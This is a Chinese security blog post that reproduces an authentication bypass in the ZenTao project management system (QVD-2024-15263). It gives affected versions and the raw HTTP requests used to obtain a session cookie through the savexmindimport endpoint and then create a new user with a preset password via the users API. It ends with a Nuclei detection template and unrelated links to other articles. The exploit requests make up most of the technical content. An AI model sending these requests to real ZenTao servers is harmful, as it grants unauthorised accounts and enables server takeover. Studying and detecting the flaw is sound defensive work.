本文所涉及的任何技术、信息或工具,仅供学习和参考之用,请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》。

1. 概述

1.1 基本信息

禅道是一款支持敏捷、瀑布、看板等多种项目模型的开源项目管理软件,可完整覆盖研发项目的需求、任务、缺陷、用例、质量、组织知识库等流程。禅道提供多个版本,包括免费的开源版、付费的企业版、旗舰版、IPD版和云禅道,以及DevOps平台版,满足不同行业和规模的项目管理需求。

1.2 问题描述

禅道项目管理系统存在身份认证绕过漏洞,未经身份认证攻击者可利用该漏洞调用任意API接口并更改任意用户的密码,随后可以以管理员的身份登录该系统,结合未知的认证后远程代码执行漏洞可以完全控制服务器。

1.3 影响范围

v16.x <= 禅道 < v18.12 (开源版)
v6.x <= 禅道 < v8.12 (企业版)
v3.x <= 禅道 < v4.12 (旗舰版)

2. 漏洞复现

2.1 获取cookie

GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=jtexhqkbflxckrrolpbc&branch=luqmyuqbafmjejbvjixf HTTP/1.1
Host: {{hostname}}

获得Cookie: zentaosid=002c78f075e326c5cb0f496e8c30066a

2.2、绕过测试

GET /zentao/api.php/v1/lists HTTP/1.1
Cookie: zentaosid=002c78f075e326c5cb0f496e8c30066a
Host: {{hostname}}

显示为无接口,并不是未授权即可。

2.3 添加用户接口测试

POST /zentao/api.php/v1/users HTTP/1.1
Cookie: zentaosid=XXXXXXX
Host: {{hostname}} {"account":"test","password":"admin@123",
"realname":"test",
"role":"",
"group":"2"
}

返回201Created即证明添加用户成功。

2.4 验证

使用该用户登录后台

NUCLEI检测POC

id: ChanDao_PermissionBypass

info:
name: ChanDao_PermissionBypass
author: ffff5
severity: medium
description: chandao_permissionbypass api.php
reference:
- https://github.com/
- https://cve.mitre.org/
metadata:
max-request: 1
shodan-query: "" requests:
- raw:
- |+
@timeout: 30s
GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xevscpierwzxcolrlykp&branch=ejlyosowumhxetlxbfet HTTP/1.1
Host: {{Hostname}} - |+
@timeout: 30s
GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=xevscpierwzxcolrlykp&branch=ejlyosowumhxetlxbfet HTTP/1.1
Host: {{Hostname}} matchers-condition: and
matchers:
- type: word
words:
- '"status":"success"'
- type: status
status:
- 200

禅道项目管理系统权限绕过漏洞(QVD-2024-15263)的更多相关文章

  1. 禅道项目管理系统整合Selenium IDE的思路

    前两天说用过Selenium IDE产生了一些想法,这里做一些整理. 传统的测试人员管理测试用例,基本都是用Excel.这没什么不好的,也没什么好的.如果通过管理系统来管理用例,相对来说,少了一些简便 ...

  2. 小玩意儿之Gitlab 代码提交日志同步到禅道项目管理系统

    以前都是使用禅道官方推荐的服务器本地扫描的方式,但其实不太方便,需要跟着项目的变化,不断的在配置文件维护项目相应仓库的配置. 然后现在Web Hooks越来越普遍的情况下,想尝试一种新的方式.看了禅道 ...

  3. Linux下部署开源版“禅道”项目管理系统《转载》

    Linux下部署开源版“禅道”项目管理系统 https://www.cnblogs.com/xxsl/p/6525378.html

  4. zentaopms - 禅道项目管理系统部署

    概述 禅道是开源免费的项目管理软件 使用步骤 管理员 添加组织 添加用户 用户权限管理(通过分组确定权限) 产品经理 添加产品 添加模块(隶属于产品) 添加需求(隶属于模块) 添加计划(计划形成“路线 ...

  5. Linux下部署开源版“禅道”项目管理系统

    1.开源版安装包下载 [root@iZbp ~]# wget http://dl.cnezsoft.com/zentao/9.0.1/ZenTaoPMS.9.0.1.zbox_64.tar.gz 2. ...

  6. linux下搭建禅道项目管理系统

    1.禅道下载:                 #官网:http://www.zentao.net/article-browse-1067.html [root@localhost ~]# wget ...

  7. Python 实现 Discuz论坛附件下载权限绕过漏洞

    背景:最近压力有些大,想玩点游戏放松下,去Mac论坛下载,发现需要各种权限,于是蛋疼了. 所以,上网查了discuz! x3.1破解,手动替换,发现出现“链接已过期”.所以写了下面程序. 0.将下列代 ...

  8. Android电话拨打权限绕过漏洞(CVE-2013-6272)分析

    原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/ 1. CVE-2013-6272漏洞背景 CVE-2013-6272是一个安卓平台 ...

  9. linux sudo root 权限绕过漏洞(CVE-2019-14287)

    0x01 逛圈子社区论坛 看到了 linux sudo root 权限绕过漏洞(CVE-2019-14287) 跟着复现下 综合来说 这个漏洞作用不大  需要以下几个前提条件 1.知道当前普通用户的密 ...

  10. Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现

    couchdb简介: Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”.它是一个使用JSON作为数据存储格式,javascript作为查询语言,M ...

随机推荐

  1. shell脚本获取函数返回值

    方式1 原理:return返回的值可以通过$?得到. 缺点:return只能返回整数 #!/bin/sh function test() { return 100 } test echo $? 方式2 ...

  2. Redis查询大key

    原文 安装 wget "https://pypi.python.org/packages/68/44/5efe9e98ad83ef5b742ce62a15bea609ed5a0d1caf35 ...

  3. OpenCV程序练习(一):图像基本操作

    展示一张图片 代码 import cv2 img=cv2.imread("demoimg.png") #读取图像 cv2.imshow("demoName",i ...

  4. VBA-合并多个工作簿

    '合并多个工作薄,并以工作薄的名字给sheet表命名(每个工作薄只有一张表) Sub test() Dim str As String Dim wb As Workbook str = Dir(&qu ...

  5. P7086 题解

    考虑把每个字符串的前 \(k\) 位和后 \(k\) 位看成点,字符串看成边,那么一个字符串前缀后缀至少有一个是相似群体的前缀后缀,看成这条边的两个端点至少有一个被选中. 那么这就变成了一个最小点覆盖 ...

  6. Java中final用法与详解

    final作为Java中经常用到的关键字,了解final的使用方法是非常有必要的. 这里从final关键字在数据域.方法和类中三个方面分析final关键字的主要用法. final应用于基本数据类型 1 ...

  7. 1.Javascript 快速入门(主要)

    运算 &&运算是与运算,只有所有都为true,&&运算结果才是true: true && true; // 这个&&语句计算结果为tru ...

  8. 拆解LangChain的大模型记忆方案

    之前我们聊过如何使用LangChain给LLM(大模型)装上记忆,里面提到对话链ConversationChain和MessagesPlaceholder,可以简化安装记忆的流程.下文来拆解基于Lan ...

  9. Raid0创建

    实验步骤 步骤1: 确认硬盘 确认你的硬盘设备名. [root@servera ~]# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 ...

  10. 玄机-第二章日志分析-apache日志分析

    前言 出息了,这回0元玩玄机了,因为只是日志分析,赶紧导出来就关掉(五分钟内不扣金币) 日志分析只要会点正则然后配合Linux的命令很快就完成这题目了,非应急响应. 简介 账号密码 root apac ...